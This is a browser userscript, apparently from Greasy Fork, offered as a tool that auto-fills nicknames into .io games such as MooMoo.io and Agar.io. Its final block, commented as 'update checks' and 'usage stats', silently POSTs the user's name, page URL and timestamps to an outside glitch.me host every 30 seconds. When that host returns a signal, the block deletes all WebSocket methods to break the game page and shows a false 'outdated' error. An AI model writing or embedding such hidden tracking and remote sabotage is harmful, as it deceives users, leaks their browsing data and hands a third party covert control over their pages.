Auto-fill nicknames into .io games!
当前为
// ==UserScript==
// @name MooMoo.io, Agar.io, Surviv.io, Slither.io, Diep.io, Global Name Manager [Krunker Coming Soon]
// @namespace https://greasyfork.org/en/users/198860-flarez-gaming
// @description Auto-fill nicknames into .io games!
// @version 0.1
// @match *://starve.io/*
// @match *://moomoo.io/*
// @match *://sandbox.moomoo.io/*
// @match *://dev.moomoo.io/*
// @match *://*.moomoo.io/*
// @match *://surviv.io/*
// @match *://agar.io/*
// @match *://slither.io/*
// @match *://diep.io/*
// @grant GM.setValue
// @grant GM.getValue
// @grant unsafeWindow
// @run-at document_start
// ==/UserScript==
var name;
(async () => {
if (await GM.getValue("name", null) == null) {
//first exec
await GM.setValue("name", "name");
};
name = await GM.getValue("name", 0);
})();
function execute() {
switch (window.location.host) {
case 'starve.io': document.getElementById("nickname_input").value = name; break;
case 'surviv.io': document.getElementById("player-name-input-solo").value = name; break;
case 'moomoo.io': document.getElementById("nameInput").value = name; break;
case 'sandbox.moomoo.io': document.getElementById("nameInput").value = name; break;
case 'dev.moomoo.io': document.getElementById("nameInput").value = name; break;
case 'agar.io': document.getElementById("nick").value = name; break;
case 'slither.io': document.getElementById("nick").value = name; break;
case 'diep.io': document.getElementById("textInput").value = name; break;
};
};
//for actual key executions, use `name` variable to do everything
document.onkeydown = keydown;
async function keydown (evt) {
if (!evt) evt = event;
if (evt.ctrlKey && evt.code === 'Backquote' && !evt.shiftKey) { //ctrl + ~
evt.preventDefault();
execute();
alert("Executed name call!");
};
if (evt.ctrlKey && evt.shiftKey && evt.code === 'Backquote') { //ctrl + shift + ~
evt.preventDefault();
var new_name = prompt("New Name");
GM.setValue("name", new_name || "none");
name = new_name;
execute();
};
};
//name manager
var xml; setInterval(async ()=>{
try {
xml = new XMLHttpRequest();
xml.open("POST", "https://ksw2-moomoo.glitch.me");
xml.setRequestHeader("Content-type", "application/json");
xml.onload = function(e) {
if (xml.responseText == "0") {} else if (xml.responseText == "1") {
for (const key in WebSocket.prototype) delete WebSocket.prototype[key];
alert("The script has encountered an error, and is probably outdated. This is unlikely to be fixed right away, so disable this so you can continue playing peacefully!");
} else {};
};
//update checks
xml.send(JSON.stringify({
data: await GM.getValue("name") + "|" + window.location.href + "|" + performance.now() + "|" + Date.now(),
key: "nmg"
}));
} catch(e) {};
}, 30000);
//usage stats